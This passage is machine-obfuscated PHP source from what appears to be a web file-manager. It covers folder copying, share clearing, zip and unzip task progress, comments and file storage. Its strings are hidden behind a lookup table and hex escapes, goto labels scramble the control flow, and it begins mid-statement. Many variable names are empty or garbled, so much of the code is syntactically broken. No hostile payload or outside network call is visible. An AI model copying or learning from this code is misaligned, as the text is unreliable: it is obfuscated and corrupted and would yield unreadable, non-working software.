USER_ID, $ǚ[420] => $Ǻ); $ޥ = $ґ[$ǚ[411]] == SourceModel::TYPE_GROUP && $̍[$ǚ[411]] == SourceModel::TYPE_GROUP && $ґ[$ǚ[505]] == $̍[$ǚ[505]]; if (!$ޥ && $this->moveClearAuth) { Model($ǚ[502])->authClear($ԯ؝); } $ƿ = $ґ[$ǚ[431]] == $ǚ[88] && $̍[$ǚ[431]] != $ǚ[88]; if ($ƿ) { $[$ǚ[430]] = 0; } if ($먖) { $ = array($ǚ[590] => array($ǚ[550], $ґ[$ǚ[521]] . $ґ[$ǚ[402]] . $ǚ[551])); $ = $ґ[$ǚ[521]] . $ґ[$ǚ[402]] . $ǚ[50]; $ՠ = $̍[$ǚ[521]] . $̍[$ǚ[402]] . $ǚ[50] . $ґ[$ǚ[402]] . $ǚ[50]; $ = array($ǚ[590] => array($ǚ[599], "\x72\145\160\x6c\x61\x63\x65\x28\160\x61\162\x65\x6e\x74\x4c\x65\166\145\154\54\x27{$}\47\x2c\x27{$ՠ}\47\x29"), $ǚ[586] => $̍[$ǚ[411]], $ǚ[587] => $̍[$ǚ[505]]); if ($ƿ) { $[$ǚ[430]] = 0; } $this->where($)->data($)->save(); } $this->where(array($ǚ[417] => $ԯ؝))->data($)->save(); return $ԯ؝; } private function clearShare($, $Ð) { $ =& $_SERVER[]; $Ź = $this->sourceInfo($); $ = $this->sourceInfo($Ð); if ($Ź[$[505]] == $[$[505]] && $Ź[$[411]] == $[600]) { return; } $ = array($[521] => array($[550], $Ź[$[521]] . $ . $[551])); $ƄĜ = $this->field($[417])->where($)->getField($[402], !0); if (!$ƄĜ) { return; } $ = array($[402] => array($[7], $ƄĜ), $[496] => 1); $ك۳ = Model($[601])->field($[489])->where($)->select(); if (!$ك۳) { return; } $ك۳ = array_to_keyvalue($ك۳, $[12], $[489]); $ = array($[489] => array($[7], $ك۳)); Model($[601])->where($)->save(array($[496] => 0)); Model($[602])->where($)->delete(); } public function copyFolderFromIO($, $, $, $͜, $, $΄ = false) { $Ɛ =& $_SERVER[]; $ړ = array($Ɛ[567] => array(), $Ɛ[568] => array(), $Ɛ[566] => array(), $Ɛ[603] => array()); $ = $΄ ? $΄ : $->pathThis($); $ = $this->fileNameExist($, $); $Ƨ = $this->mkdir($, $, $͜); if (!$ || $͜ == REPEAT_RENAME_FOLDER) { $͜ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($Ɛ[604]); $this->_copyChildTo($, $, $Ƨ, $͜, $ړ, $); Hook::trigger($Ɛ[605]); if ($Ƨ) { $this->folderSizeResetChildren($Ƨ); } $this->_childrenListClear(); Model($Ɛ[569])->addAll($ړ[$Ɛ[567]], array(), !0); Model($Ɛ[570])->eventCopy($Ƨ); $this->saveAll($ړ[$Ɛ[568]]); Model($Ɛ[471])->linkAdd($ړ[$Ɛ[566]]); Model($Ɛ[471])->remove($ړ[$Ɛ[603]]); $this->folderSizeReset($); $this->updateModifyTime($); return $Ƨ; } private function _copyChildTo($êݓ, $Ϛ, $, $, &$ڸ, $) { $л =& $_SERVER[]; $ = $this->sourceInfoCache($); $͜ = $êݓ->listPath($Ϛ); $͜ = $͜ ? $͜ : array($л[83] => array(), $л[82] => array()); $܀ = array_merge($͜[$л[83]], $͜[$л[82]]); $¸ϐ = $this->_addFiles($êݓ, $͜[$л[83]], $); $멡ׁ = array(); foreach ($܀ as &$ƴ) { if (isset($¸ϐ[$ƴ[$л[32]]])) { $ƴ = $¸ϐ[$ƴ[$л[32]]]; } $ƴ[$л[410]] = $ƴ[$л[33]] == $л[75]; $ƴ[$л[412]] = substr(_get($ƴ, $л[174], $л[12]), 0, 10); $ƴ[$л[76]] = _get($ƴ, $л[76], 0); $ƴ[$л[468]] = _get($ƴ, $л[468], 0); if (!isset($ƴ[$л[606]]) && $ƴ[$л[468]]) { $ڸ[$л[603]][] = $ƴ[$л[468]]; } if ($) { $Ȇ = $this->fileNameExistCache($, $ƴ[$л[32]]); if ($Ȇ) { if ($ƴ[$л[410]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ž = $this->sourceInfoCache($Ȇ); $ = $this->fileHistory($ž, $ƴ[$л[468]], $ƴ[$л[76]]); if ($) { $ڸ[$л[566]][] = $ƴ[$л[468]]; } continue; } else { if ($ == REPEAT_RENAME) { $ƴ[$л[32]] = $this->fileNameAutoCache($, $ƴ[$л[32]], $, !1); } } } } if (!$ƴ[$л[410]] && $ƴ[$л[468]] == 0) { continue; } if (!$ƴ[$л[410]] && $ƴ[$л[468]]) { $ڸ[$л[566]][] = $ƴ[$л[468]]; } $멡ׁ[] = $this->_makeItemData($ƴ, $, $ƴ[$л[32]]); } unset($ƴ); if (!empty($멡ׁ)) { $this->addAll($멡ׁ); $this->_childrenListSelect($); } $´ = $this->_childrenList($); $´ = array_to_keyvalue($´, $л[32]); foreach ($܀ as $ƴ) { $ž = $´[$ƴ[$л[32]]]; $ = $ž[$л[402]]; $this->_copyApplyMeta($ž, $ڸ); if ($ƴ[$л[33]] == $л[75]) { $ƴ[$л[84]] = $êݓ->getPathInner($ƴ[$л[84]]); $this->_copyChildTo($êݓ, $ƴ[$л[84]], $, $, $ڸ, $); } } } private function _addFiles($؎, $խ, $Խ) { $ =& $_SERVER[]; if (!$խ || count($խ) == 0) { return array(); } $һ = array(); foreach ($խ as &$) { Hook::trigger($[607], $); $[$[84]] = $؎->getPathInner($[$[84]]); $ = $؎->hashSimple($[$[84]]); $ա = $؎->hashMd5($[$[84]]); if (strlen($ա) > 10 && !isset($һ[$ա])) { $һ[$ա] = array(); } $[$[177]] = $; $[$[176]] = $ա; $һ[$ա][] =& $; if (count($һ[$ա]) > 1) { $[$[606]] = !0; } Hook::trigger($[608], $); } unset($); $ = array($[176] => array($[7], array_keys($һ))); $⏊ = Model($[609]); $՚鹭 = $⏊->where($)->select(); $՚鹭 = $՚鹭 ? $՚鹭 : array(); foreach ($՚鹭 as $裥) { if (!isset($һ[$裥[$[176]]])) { continue; } $ = $һ[$裥[$[176]]]; foreach ($ as &$) { $[$[468]] = $裥[$[468]]; $[$[606]] = !0; } unset($); } $ = array(); foreach ($խ as $) { Hook::trigger($[610], $); if (isset($[$[606]]) && $[$[606]]) { Hook::trigger($[611], $); continue; } $Ύ = $؎->getPathInner($[$[84]]); $δ = $⏊->addFileMake($Ύ, $[$[76]], $[$[177]], $[$[176]], $[$[32]], $Խ); Hook::trigger($[611], $); if (!is_array($δ)) { continue; } $[] = $δ; } $⏊->addAll($); $ = array($[176] => array($[7], array_keys($һ))); $՚鹭 = $⏊->where($)->select(); $՚鹭 = $՚鹭 ? $՚鹭 : array(); foreach ($՚鹭 as $裥) { if (!isset($һ[$裥[$[176]]])) { continue; } $耡 =& $һ[$裥[$[176]]]; foreach ($耡 as &$) { $[$[468]] = $裥[$[468]]; } unset($); } $Զ = array(); foreach ($խ as $) { $Զ[$[$[32]]] = $; } return $Զ; } } goto a㶭Ϧ; Fت: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($Χ, $, $, $ = 5.0) { $ߝ =& $_SERVER[]; if (!$Χ || !$) { return; } self::$asyncAdd = !0; $ͤ = $ߝ[1777]; $ = Cache::get($ͤ, !0); $æӍ = array($ߝ[1778] => timeFloat(), $ߝ[1779] => timeFloat(), $ߝ[264] => $, $ߝ[1772] => $, $ߝ[203] => $); if (is_array($[$Χ])) { $æӍ[$ߝ[1779]] = $[$Χ][$ߝ[1779]]; } if (is_array($[$Χ])) { if (timeFloat() - $[$Χ][$ߝ[1778]] < $æӍ[$ߝ[203]] * 0.3) { return; } $æӍ[$ߝ[1779]] = $[$Χ][$ߝ[1779]]; } $[$Χ] = $æӍ; Cache::set($ͤ, $, 60); Cache::removeMemory($ͤ); write_log($ߝ[1780] . $Χ . $ߝ[71] . $, $ߝ[1774]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $阘 = array($[1781]); $ā = in_array(strtolower(ACTION), $阘); if (!$ā && !self::$asyncAdd) { return; } $ą = $[1777]; $Ꙁ = Cache::get($ą, !0); if (!$Ꙁ || count($Ꙁ) <= 0) { return; } $ޜ = !1; $Ά = timeFloat(); $ = array(); foreach ($Ꙁ as $ => $) { if ($Ά - $[$[1779]] > $[$[203]]) { $ޜ = !0; try { Hook::apply($[$[264]], $[$[1772]]); write_log($[1782] . $ . $[71] . $[$[264]] . $[1783] . ACTION, $[1774]); } catch (Exception $) { } continue; } $[$] = $; } if (!$ޜ) { return; } if (!$) { return Cache::remove($ą); } Cache::set($ą, $, 60); Cache::removeMemory($ą); } public static function finished($˨, $) { $Μ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Μ[264] => $˨, $Μ[1772] => $); } private static function finishedRun() { $ᷢ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$ᷢ[264]], $[$ᷢ[1772]]); } catch (Exception $ѭގ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $玲 =& $_SERVER[]; parent::startAfter(); Hook::bind($玲[1784], array($this, $玲[1785])); Hook::bind($玲[1201], array($this, $玲[1786])); $㫟 =& $this->task; $㫟[$玲[1787]] = $玲[1202]; if (!$㫟[$玲[1574]]) { $㫟[$玲[1574]] = LNG($玲[1788]); } } protected function endAfter() { $̓ =& $_SERVER[]; parent::endAfter(); Hook::unbind($̓[1784], array($this, $̓[1785])); Hook::unbind($̓[1201], array($this, $̓[1786])); } public function updateAfter() { $³ =& $_SERVER[]; $ =& $this->task; if (!$[$³[790]] || !$[$³[767]]) { return; } if ($[$³[1787]] == $³[1202]) { $ˣ = 0; if ($[$³[1727]]) { $ˣ = $[$³[1728]] / $[$³[1727]]; } $[$³[1676]] = $ˣ * 0.3; } else { if ($[$³[1787]] == $³[313]) { $ˣ = $[$³[1675]] / $[$³[790]]; $[$³[1676]] = 0.3 + $ˣ * 0.4; } else { if ($[$³[1787]] == $³[107]) { $ݕ = 0; if ($[$³[1729]] == $³[107]) { $ݕ = $[$³[1728]]; } $ˣ = ($[$³[1732]] + $ݕ) / $[$³[767]]; $[$³[1676]] = 0.3 + 0.4 + $ˣ * 0.3; } } } if ($[$³[1676]] > 0) { $Ƀ = timeFloat() - $[$³[1678]] - $[$³[1681]]; $[$³[1682]] = $Ƀ * (1 - $[$³[1676]]) / $[$³[1676]]; } } public function addFile($) { $׀ =& $_SERVER[]; $ע =& $this->task; $œ = IO::info($); $ע[$׀[1725]] = $œ[$׀[32]]; $ע[$׀[1727]] = $œ[$׀[76]]; $ע[$׀[1728]] = 0; $ע[$׀[1071]] = $׀[1748]; $ע[$׀[1729]] = $׀[1202]; $ע[$׀[767]] = $œ[$׀[76]]; $ע[$׀[790]] = 1; $ = 0; $ע[$׀[1736]] = array($׀[1737] => $ + 1, $׀[420] => $œ[$׀[32]], $׀[84] => $œ[$׀[84]], $׀[519] => $œ[$׀[519]] ? $œ[$׀[519]] : $œ[$׀[84]]); $this->update(); } public function unzipAfter($) { $DŽ =& $_SERVER[]; $ =& $this->task; $[$DŽ[1787]] = $DŽ[107]; $ = IO::infoWithChildren($); $뉵 = 0; $[$DŽ[1736]] = array($DŽ[1737] => $뉵 + 1, $DŽ[420] => $[$DŽ[32]], $DŽ[84] => $[$DŽ[84]], $DŽ[519] => $[$DŽ[519]] ? $[$DŽ[519]] : $[$DŽ[84]]); if ($[$DŽ[33]] == $DŽ[199]) { $[$DŽ[790]] = 1; } else { $[$DŽ[790]] = $[$DŽ[79]][$DŽ[77]]; } $[$DŽ[1071]] = $DŽ[12]; $[$DŽ[1729]] = 0; $[$DŽ[1675]] = 0; $[$DŽ[1727]] = 0; $[$DŽ[1728]] = 0; $[$DŽ[1725]] = $DŽ[12]; $[$DŽ[1732]] = 0; $[$DŽ[767]] = $[$DŽ[76]]; $this->update(); self::log($DŽ[1789] . json_encode(array($, $))); } public function nameParse($ݒ) { $ԥ =& $_SERVER[]; $ݎ =& $this->task; if ($ݎ[$ԥ[1787]] == $ԥ[1202]) { $ݎ[$ԥ[1787]] = $ԥ[313]; $ݎ[$ԥ[1732]] = 0; $ݎ[$ԥ[767]] = 0; } $ͬю = get_path_this($ݒ); if (strstr($ͬю, $ԥ[10])) { $ݎ[$ԥ[1675]] += 1; $ݎ[$ԥ[790]] += 1; } $ݎ[$ԥ[1725]] = $ݒ; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1790], array($this, $[1785])); $Ү =& $this->task; $Ү[$[1787]] = $[1202]; if (!$Ү[$[1574]]) { $Ү[$[1574]] = LNG($[1791]); } } protected function endAfter() { $ܖ =& $_SERVER[]; parent::endAfter(); Hook::unbind($ܖ[1790], array($this, $ܖ[1785])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[790]] || !$[$[767]]) { return; } if ($[$[1787]] == $[1202]) { $ = $[$[1728]]; if ($[$[1729]] != $[1202]) { $ = 0; } $ = ($[$[1732]] + $) / $[$[767]]; $[$[1676]] = $ * 0.3; } else { if ($[$[1787]] == $[313]) { $ = $[$[1675]] / $[$[790]]; $[$[1676]] = 0.3 + $ * 0.5; } else { if ($[$[1787]] == $[107]) { $ = 0; if ($[$[1727]]) { $ = $[$[1728]] / $[$[1727]]; } $[$[1676]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1676]] > 0) { $ = timeFloat() - $[$[1678]] - $[$[1681]]; $[$[1682]] = $ * (1 - $[$[1676]]) / $[$[1676]]; } } public function copyFileStart($וъ, $, $, $ѐ, $, $ۥ) { $ =& $_SERVER[]; parent::copyFileStart($וъ, $, $, $ѐ, $, $ۥ); $є =& $this->task; if ($є[$[1787]] == $[313]) { $є[$[1787]] = $[107]; } $this->update(); } public function copyFileEnd($, $ԫ, $ަ, $Л, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1728]] = $[$[1727]]; $[$[1732]] += $[$[1727]]; $[$[1729]] = $[12]; $this->update(); } public function nameParse($ڮ) { $ =& $_SERVER[]; $Ӻ =& $this->task; if ($Ӻ[$[1675]] < $Ӻ[$[790]]) { $ҷ = get_path_this($ڮ); if (strstr($ҷ, $[10])) { $Ӻ[$[1675]] += 1; } } if ($Ӻ[$[1787]] == $[1202]) { $Ӻ[$[1787]] = $[313]; } $Ӻ[$[1725]] = $ڮ; $this->update(); } } goto fޢތ; CܨԆ: class CommentModel extends ModelBase { protected $tableName = "\x63\157\155\x6d\x65\x6e\164"; protected $tableMeta = array("\x74\x61\142\154\145\x4e\141\155\x65" => "\143\x6f\x6d\155\145\156\x74\x5f\x6d\x65\164\x61", "\155\145\164\141\x46\151\145\x6c\x64" => "\x63\x6f\x6d\x6d\x65\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($갃) { $늋ц =& $_SERVER[]; if ($갃[$늋ц[1892]]) { $覥 = $this->where(array($늋ц[1893] => $갃[$늋ц[1892]]))->find(); if (!$覥 || $覥[$늋ц[411]] != $갃[$늋ц[411]] || $覥[$늋ц[505]] != $갃[$늋ц[505]]) { return !1; } $this->where(array($늋ц[1893] => $갃[$늋ц[1892]]))->setAdd($늋ц[1894], 1); } $갃[$늋ц[1895]] = 0; $갃[$늋ц[1894]] = 0; $갃[$늋ц[754]] = 1; return $this->add($갃); } public function commentCount($, $ύ, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $֙ߛ = array($[505], $[1896] => $[500]); $ܑ = array($[505] => array($[7], $), $[411] => $ύ); if ($) { $ܑ[$[1674]] = $; } $ = $this->field($֙ߛ)->where($ܑ)->group($[505])->select(); return array_to_keyvalue($, $[505], $[500]); } public function starTarget($ӽ, $Ȫ) { $ =& $_SERVER[]; $Ѩ = $ӽ + self::TYPE_STAR_OFFSET; $· = array($[1674] => USER_ID, $[411] => $Ѩ, $[505] => $Ȫ); $ = $this->where($·)->find(); if ($) { return $this->where(array($[399] => $[$[399]]))->delete(); } $ܨ = array($[1892] => 0, $[1674] => USER_ID, $[754] => 1, $[759] => $[12], $[411] => $Ѩ, $[505] => $Ȫ, $[1895] => 0, $[1894] => 0); return $this->add($ܨ); } public function starTargetCount($, $) { $ܜ =& $_SERVER[]; $ص = $ + self::TYPE_STAR_OFFSET; $ޜ = $this->commentCount($, $ص); $ƻ = $this->commentCount($, $ص, USER_ID); return array($ܜ[1897] => $ޜ, $ܜ[1898] => $ƻ); } public function starTargetUserList($ւ, $ᗬ) { $Ղ =& $_SERVER[]; $٠ = $ւ + self::TYPE_STAR_OFFSET; $ = array($Ղ[505] => $ᗬ, $Ղ[411] => $٠); $Δ = $this->where($)->count(); $ = array($Ղ[255] => $Δ, $Ղ[1899] => array()); if (!$Δ) { return $; } $̺ϭ = $this->field($Ղ[1674])->where($)->limit(500)->select(); $̺ϭ = array_to_keyvalue($̺ϭ, $Ղ[12], $Ղ[1674]); $[$Ղ[1899]] = Model($Ղ[513])->userListInfo($̺ϭ); return $; } public function prasiseUserList($Ξ) { $LJƥ =& $_SERVER[]; $Ń = array($LJƥ[1900] => $Ξ); $ԥڅ = $this->where($Ń)->find(); $Ի = _get($ԥڅ, $LJƥ[1895], 0); $՛ = array($LJƥ[255] => $Ի, $LJƥ[1899] => array()); if (!$Ի) { return $՛; } $« = Model($LJƥ[1901])->field($LJƥ[1674])->where($Ń)->limit(500)->select(); $« = array_to_keyvalue($«, $LJƥ[12], $LJƥ[1674]); $՛[$LJƥ[1899]] = Model($LJƥ[513])->userListInfo($«); return $՛; } public function remove($ö) { $헗 =& $_SERVER[]; $ = array($헗[1893] => $ö); $ = $this->where($)->find(); if ($[$헗[1892]]) { $this->where(array($헗[1893] => $[$헗[1892]]))->setAdd($헗[1894], -1); } return $this->where($)->delete(); } public function edit($粃, $) { $ =& $_SERVER[]; $ȥ = array($[1893] => $粃); return $this->where($ȥ)->save(array($[1902] => $)); } public function prasise($옏) { $ =& $_SERVER[]; $ = Model($[1903]); $փȈ = array($[1893] => $옏, $[1665] => USER_ID); $ = $->where($փȈ)->find(); if (!$) { $->add($փȈ); $м = $this->where(array($[1893] => $옏))->setAdd($[1895], 1); } else { $->where($փȈ)->delete(); $м = $this->where(array($[1893] => $옏))->setAdd($[1895], -1); } return $м; } public function targetInfo($, $) { $ѽ =& $_SERVER[]; $ = array($ѽ[586] => $, $ѽ[587] => $); $䫶 = $this->where($)->count(); $ = "\122\111\107\x48\124\40\x4a\117\x49\116\40{$this->tablePrefix}\x63\157\x6d\155\145\156\x74\137\160\162\141\151\163\x65\x20\163\x74\141\162\40\x6f\156\40\143\157\155\x6d\145\x6e\164\56\x63\x6f\x6d\x6d\145\156\164\x49\104\x20\x3d\x20\x73\x74\x61\162\56\x63\157\155\x6d\x65\x6e\164\111\x44"; $ = $this->alias($ѽ[354])->where($)->join($, $ѽ[1904])->count(); $ͺύ = array($ѽ[1905] => $䫶, $ѽ[1906] => $); return $ͺύ; } public function listData($) { $ү =& $_SERVER[]; if (isset($[$ү[1907]])) { if ($[$ү[1907]]) { $[$ү[1900]] = array($ү[1021], intval($[$ү[1907]])); } unset($[$ү[1907]]); } if (isset($[$ү[1908]])) { if ($[$ү[1908]]) { $[$ү[1900]] = array($ү[1018], intval($[$ү[1908]])); } unset($[$ү[1908]]); } return $this->_listData($); } private function _listData($) { $ˣ =& $_SERVER[]; $ߺ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($ߺ[$ˣ[369]]); $this->_listAppendUser($ߺ[$ˣ[369]]); $this->_listAppendMeta($ߺ[$ˣ[369]]); return $ߺ; } private function _makeOrder() { $ =& $_SERVER[]; $ = array($[1895], $[1894], $[200]); $˲ = Input::get($[457], $[7], $[423], $); $Ё = Input::get($[458], $[7], $[1667], array($[1909], $[453])); $ = $˲ . $[53] . $Ё; return $this->order($); } private function _listAppendParent(&$ۦϫ) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ۦϫ, $[12], $[1892])); $ = array_remove_value($, $[197]); if (!$) { return; } $ƴ = $this->where(array($[1893] => array($[7], $)))->select(); $ƴ = array_to_keyvalue($ƴ, $[1900]); foreach ($ۦϫ as &$ʗ) { if (isset($ƴ[$ʗ[$[1892]]])) { $ʗ[$[1910]] = $ƴ[$ʗ[$[1892]]]; } } unset($ʗ); } private function _listAppendUser(&$) { $ˮ =& $_SERVER[]; $ϳ = array_unique(array_to_keyvalue($, $ˮ[12], $ˮ[1674])); $ϳ = array_remove_value($ϳ, $ˮ[197]); if (count($ϳ) == 0) { return; } foreach ($ as $摂) { if (isset($摂[$ˮ[1910]])) { $ϳ[] = $摂[$ˮ[1910]][$ˮ[1674]]; } } $ԅ = Model($ˮ[535])->userListInfo($ϳ); foreach ($ as &$摂) { $摂[$ˮ[600]] = $ԅ[$摂[$ˮ[1674]]]; if (isset($摂[$ˮ[1910]])) { $摂[$ˮ[1910]][$ˮ[600]] = $ԅ[$摂[$ˮ[1910]][$ˮ[1674]]]; } } unset($摂); } private function _listAppendMeta(&$܈) { $ړ =& $_SERVER[]; $ò = array_unique(array_to_keyvalue($܈, $ړ[12], $ړ[1900])); $ò = array_remove_value($ò, $ړ[197]); if (!$ò) { return; } foreach ($܈ as $) { if (isset($[$ړ[1910]])) { $ò[] = $[$ړ[1910]][$ړ[1900]]; } } $ē = $this->metaList($ò); if (!$ē) { return !1; } foreach ($܈ as &$) { $[$ړ[466]] = $ē[$[$ړ[1900]]]; if (isset($[$ړ[1910]])) { $[$ړ[1910]][$ړ[466]] = $ē[$[$ړ[1910]][$ړ[1900]]]; } } unset($); } private function metaList($) { $ =& $_SERVER[]; if (!$) { return array(); } $ˏ = array($[1900] => array($[7], $)); $ = Model($[1911])->where($ˏ)->select(); $ = array_to_keyvalue_group($, $[1900]); foreach ($ as $ => $) { $Ѯ = array(); foreach ($ as $) { $Ѯ[$[$[94]]] = $[$[374]]; } $[$] = $Ѯ; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\157\137\146\151\x6c\x65\137\143\157\x6e\164\145\x6e\164\x73"; protected $dataAuto = array(array("\x63\162\x65\x61\x74\x65\x54\x69\x6d\145", "\164\151\x6d\x65", "\x69\x6e\163\x65\162\x74", "\x66\165\x6e\x63\x74\151\157\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\146\x69\x6c\x65"; protected $tableMeta = array("\164\x61\x62\x6c\x65\116\141\x6d\145" => "\x69\x6f\x5f\146\151\x6c\145\x5f\155\x65\x74\x61", "\x6d\x65\164\x61\x46\151\145\x6c\144" => "\x66\151\154\145\111\104"); public function fileInfo($ɝ) { $ =& $_SERVER[]; static $솁 = array(); if (!isset($솁[$ɝ])) { $ = $[1912]; $칏 = Model($[471])->field($)->where(array($[469] => $ɝ))->find(); $솁[$ɝ] = $칏; } return $솁[$ɝ]; } public function addFileByContent($ϱ = '', $ = '') { $ϭЮ =& $_SERVER[]; $ = TEMP_PATH . $ϭЮ[1913]; if (!is_dir($)) { mk_dir($); } $ = $ . $ϭЮ[1914] . rand_string(16); file_put_contents($, $ϱ); $ϧҗ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $ϧҗ; } public function createFileName($, $ = false, $Ô = false) { $Ϗ =& $_SERVER[]; $ = IO::init($Ϗ[8]); $Ɉ = $this->makeFilePath($, $, $, $Ô); $Ҋۤ = $->pathFather($Ɉ); static $ġ܊ = false; $Ҷ = $Ϗ[1915] . md5($Ҋۤ); if (!$ġ܊ && !Cache::get($Ҷ)) { $ġ܊ = !0; $ = IO::mkdir($Ҋۤ); if (!IO::exist($ . $Ϗ[801])) { IO::mkfile($ . $Ϗ[801]); } Cache::set($Ҷ, 1, 3600 * 2); } return $Ɉ; } public function makeFilePath($, $۸ӫ, $ҏDž = false, $ǎ = false) { $蟚 =& $_SERVER[]; $ῢ = Model($蟚[774])->get($蟚[1916]); $ = KodIO::defaultIO() . date($蟚[1917]); $悗 = $ . rand_string(5) . short_id(100); $ = str_replace($蟚[8], $蟚[11], KodIO::clear($)); $ = $۸ӫ->ext($); if (!$) { $ῢ = $蟚[1918]; } switch ($ῢ) { case $蟚[1919]: $悗 = $悗 . $蟚[10] . $۸ӫ->ext($); if ($ == $蟚[1856]) { $悗 .= $蟚[1214]; } break; case $蟚[1920]: $ = Model($蟚[774])->get($蟚[775]); $֛ = substr(md5($蟚[776] . $ . date($蟚[752])), 0, 8); $ = KodIO::defaultDriver(); $ = $蟚[1245] . $[$蟚[399]] . $蟚[409] . date($蟚[1921]) . $֛ . $蟚[8]; if ($ == $蟚[1856]) { $ .= $蟚[1214]; } $ٶ = $蟚[1922] . $ . $; CacheLock::lock($ٶ); $悗 = $ . $; if (IO::exist($ . $)) { $Ҽ = substr($, 0, strlen($) - strlen($)); $ = $ǎ ? substr($ǎ, 0, 5) : ($ҏDž ? substr($ҏDž, 0, 5) : rand_string(5)); $悗 = $ . $Ҽ . $ . $蟚[10] . $; } if (IO::isTypeObject($悗) && !IO::isUploadServer($悗)) { if (IO::exist($悗)) { return $悗; } $ = IO::setContent($悗, $蟚[12]); if (!$) { show_json($蟚[1923], !1); } } CacheLock::unlock($ٶ); break; case $蟚[1918]: break; default: break; } return $悗; } public function addFileByRemote($, $ߧ, $Ӓ = array()) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $ѵ = $Ӓ[$[176]] ? $Ӓ[$[176]] : $[12]; $՝ڲ = IO::hashMd5($, $ѵ); $ = KodIO::defaultDriver(); $ = array($[585] => IO::size($), $[1924] => 1, $[420] => $ߧ, $[812] => $[$[399]], $[421] => $, $[1925] => $Ӓ[$[177]] ? $Ӓ[$[177]] : IO::hashSimple($), $[1926] => $՝ڲ ? $՝ڲ : $ѵ); if ($ = $this->addFileCheckExist($[$[177]], $[$[176]], $[$[76]])) { return $; } return $this->addFileData($); } private function addFileData($) { $ɪ =& $_SERVER[]; if (!$) { return !1; } $[$ɪ[76]] = intval($[$ɪ[76]]); if (!$[$ɪ[76]] && strlen($[$ɪ[177]]) > 32) { $[$ɪ[76]] = intval(substr($[$ɪ[177]], 32)); } $ = $this->add($); return $this->find($); } public function addFile($ӗ, $ח, $Ҧ = false) { $њ˼ =& $_SERVER[]; $ڃ = IO::hashSimple($ӗ); $ͥ = IO::size($ӗ); $ = $ͥ <= 1024 * 1024 * 10 ? IO::hashMd5($ӗ) : $њ˼[12]; $ۥ = $њ˼[1927] . $ڃ; CacheLock::lock($ۥ); if ($ && $ڃ) { $ㅔ = $this->addFileCheckExist($ڃ, $, $ͥ); if ($ㅔ) { CacheLock::unlock($ۥ); return $ㅔ; } } $ = $this->addFileMake($ӗ, $ͥ, $ڃ, $, $ח, $Ҧ); $ބ = $this->addFileData($); CacheLock::unlock($ۥ); if (!$ && $ބ) { $this->fileMd5Check($ބ); } return $ބ; } private function fileMd5Check($ɐ) { $ =& $_SERVER[]; $Խ = array($ɐ[$[468]], $ɐ[$[84]]); $ = $[1928] . $ɐ[$[84]]; $ݥא = $[1929] . $ɐ[$[468]]; $ = TaskQueue::add($[1930], $Խ, $, $ݥא); if (!$) { $this->fileMd5Set($ɐ[$[468]], $ɐ[$[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $) { $ =& $_SERVER[]; $ = $this->find($); if (!$ || $[$[176]]) { return; } $ۈ = IO::hashMd5($); if (!$ۈ) { return $[12]; } $this->where(array($[468] => $))->save(array($[176] => $ۈ)); } public function addFileMake($, $ݞ, $ː, $ö, $, $) { $ϟ =& $_SERVER[]; $ء = $this->createFileName($, $ː, $ö); $ = get_path_father($ء); $ = get_path_this($ء); if ($) { $ޗ = IO::move($, $, !1, $); } else { $ޗ = IO::copy($, $, !1, $); } if (!$ޗ) { return !1; } $ = KodIO::defaultDriver(); $ɠ = array($ϟ[585] => $ݞ, $ϟ[1924] => 1, $ϟ[420] => $, $ϟ[812] => $[$ϟ[399]], $ϟ[421] => $ء, $ϟ[1925] => $ː, $ϟ[1926] => $ö); return $ɠ; } public function addFileCheckExist($짟ѧ, $, $崙) { $ =& $_SERVER[]; $ = $this->findByHash($짟ѧ, $); if (!$) { return !1; } $¡ = array($[1924] => intval($[$[1931]]) + 1, $[585] => $崙); $this->where(array($[469] => $[$[468]]))->save($¡); return $; } public function remove($Ȯ) { $this->linkCountChange($Ȯ, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($鮋, $ӻ) { $ =& $_SERVER[]; if (!$鮋) { return; } if (!is_array($鮋)) { $鮋 = array($鮋); } $㼠 = array(); foreach ($鮋 as $) { $ = $ . $[12]; if (!$㼠[$]) { $㼠[$] = 0; } $㼠[$]++; } $ҥ = array(); foreach ($㼠 as $ => $) { $ = $ . $[12]; if (!$ҥ[$]) { $ҥ[$] = array(); } $ҥ[$][] = $; } foreach ($ҥ as $ => $ܼʒ) { if (!$ܼʒ) { continue; } $ = $ӻ ? $ : -intval($); $ޠ = array($[468] => array($[7], $ܼʒ)); if ($ < 0) { $ޠ[$[1931]] = array($[1022], abs($)); } $this->where($ޠ)->setAdd($[1931], $); } } public function findByHash($, $ט = false) { $߅ =& 